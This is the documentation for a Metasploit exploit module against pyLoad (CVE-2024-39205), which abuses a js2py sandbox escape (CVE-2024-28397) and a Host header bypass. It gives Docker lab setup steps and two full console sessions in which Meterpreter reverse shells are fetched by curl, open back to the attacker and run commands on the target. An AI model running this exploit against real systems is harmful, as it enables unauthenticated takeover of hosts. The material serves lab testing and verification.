## Vulnerable Application
CVE-2024-28397 is sandbox escape in js2py (<=0.74) which is a popular python package that can evaluate
javascript code inside a python interpreter. The vulnerability allows for an attacker to obtain a reference
to a python object in the js2py environment enabling them to escape the sandbox, bypass pyimport restrictions
and execute arbitrary commands on the host. At the time of writing no patch has been released, version 0.74
is the latest version of js2py which was released Nov 6, 2022.

CVE-2024-39205 is an remote code execution vulnerability in Pyload (<=0.5.0b3.dev85) which is an open-source
download manager designed to automate file downloads from various online sources. Pyload is vulnerable because
it exposes the vulnerable js2py functionality mentioned above on the /flash/addcrypted2 API endpoint.
This endpoint was designed to only accept connections from localhost but by manipulating the HOST header we
can bypass this restriction in order to access the API to achieve unauth RCE.

## Verification Steps

1. Start a vulnerable instance of pyLoad using docker
2. Start msfconsole
3. Run: `use exploit/linux/http/pyload_js2py_cve_2024_39205`
4. Set the `RHOST`, `LHOST` `PAYLOAD` and payload associated options
5. Run: `run`

### Docker Setup

```
docker run -d \
  --name=pyload-ng \
  -e PUID=1000 \
  -e PGID=1000 \
  -e TZ=Etc/UTC \
  -p 8000:8000 \
  -p 9666:9666 \
  --restart unless-stopped \
  lscr.io/linuxserver/pyload-ng:version-0.5.0b3.dev85
```

## Scenarios
### ARCH_CMD PyLoad 0.5.0b3.dev85 (with js2py 0.74)
```
msf > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > options

Module options (exploit/linux/http/pyload_js2py_cve_2024_39205):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     127.0.0.1        yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
   RPORT      9666             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   SSLCert                     no        Path to a custom SSL certificate (default is randomly generated)
   TARGETURI  /                yes       Base path
   URIPATH                     no        The URI to use for this exploit (default is random)
   VHOST                       no        HTTP server virtual host


   When CMDSTAGER::FLAVOR is one of auto,tftp,wget,curl,fetch,lwprequest,psh_invokewebrequest,ftp_http:

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   SRVHOST  0.0.0.0          yes       The local host or network interface to listen on. This must be an address on the local machine or 0.0.0.0 to listen on all addresses.
   SRVPORT  8080             yes       The local port to listen on.


Payload options (cmd/linux/http/x64/meterpreter/reverse_tcp):

   Name                Current Setting  Required  Description
   ----                ---------------  --------  -----------
   FETCH_COMMAND       CURL             yes       Command to fetch payload (Accepted: CURL, FTP, TFTP, TNFTP, WGET)
   FETCH_DELETE        false            yes       Attempt to delete the binary after execution
   FETCH_FILENAME      FTdcATmGGDpa     no        Name to use on remote system when storing payload; cannot contain spaces or slashes
   FETCH_SRVHOST                        no        Local IP to use for serving payload
   FETCH_SRVPORT       8080             yes       Local port to use for serving payload
   FETCH_URIPATH                        no        Local URI to use for serving payload
   FETCH_WRITABLE_DIR                   yes       Remote writable dir to store payload; cannot contain spaces
   LHOST               172.16.199.1     yes       The listen address (an interface may be specified)
   LPORT               4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Unix Command



View the full module info with the info, or info -d command.

msf exploit(linux/http/pyload_js2py_cve_2024_39205) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Unix Command for cmd/linux/http/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 1 opened (172.16.199.1:4444 -> 172.16.199.1:56080) at 2024-11-12 15:47:19 -0800

meterpreter > getruid
[-] Unknown command: getruid. Did you mean getuid? Run the help command for more details.
meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```

### ARCH_X64 PyLoad 0.5.0b3.dev85 (with js2py 0.74)
```
msf > use linux/http/pyload_js2py_cve_2024_39205
[*] No payload configured, defaulting to cmd/linux/http/x64/meterpreter/reverse_tcp
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set lhost 172.16.199.1
lhost => 172.16.199.1
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set target 1
target => 1
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > set payload linux/x64/meterpreter/reverse_tcp
payload => linux/x64/meterpreter/reverse_tcp
msf exploit(linux/http/pyload_js2py_cve_2024_39205) > run

[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target is vulnerable. Successfully tested command injection.
[*] Executing Linux Dropper for linux/x64/meterpreter/reverse_tcp
[*] Sending stage (3045380 bytes) to 172.16.199.1
[*] Meterpreter session 2 opened (172.16.199.1:4444 -> 172.16.199.1:56088) at 2024-11-12 15:48:42 -0800
[*] Command Stager progress - 100.00% done (823/823 bytes)

meterpreter > getuid
Server username: abc
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           :  (Linux 6.10.11-linuxkit)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter >
```
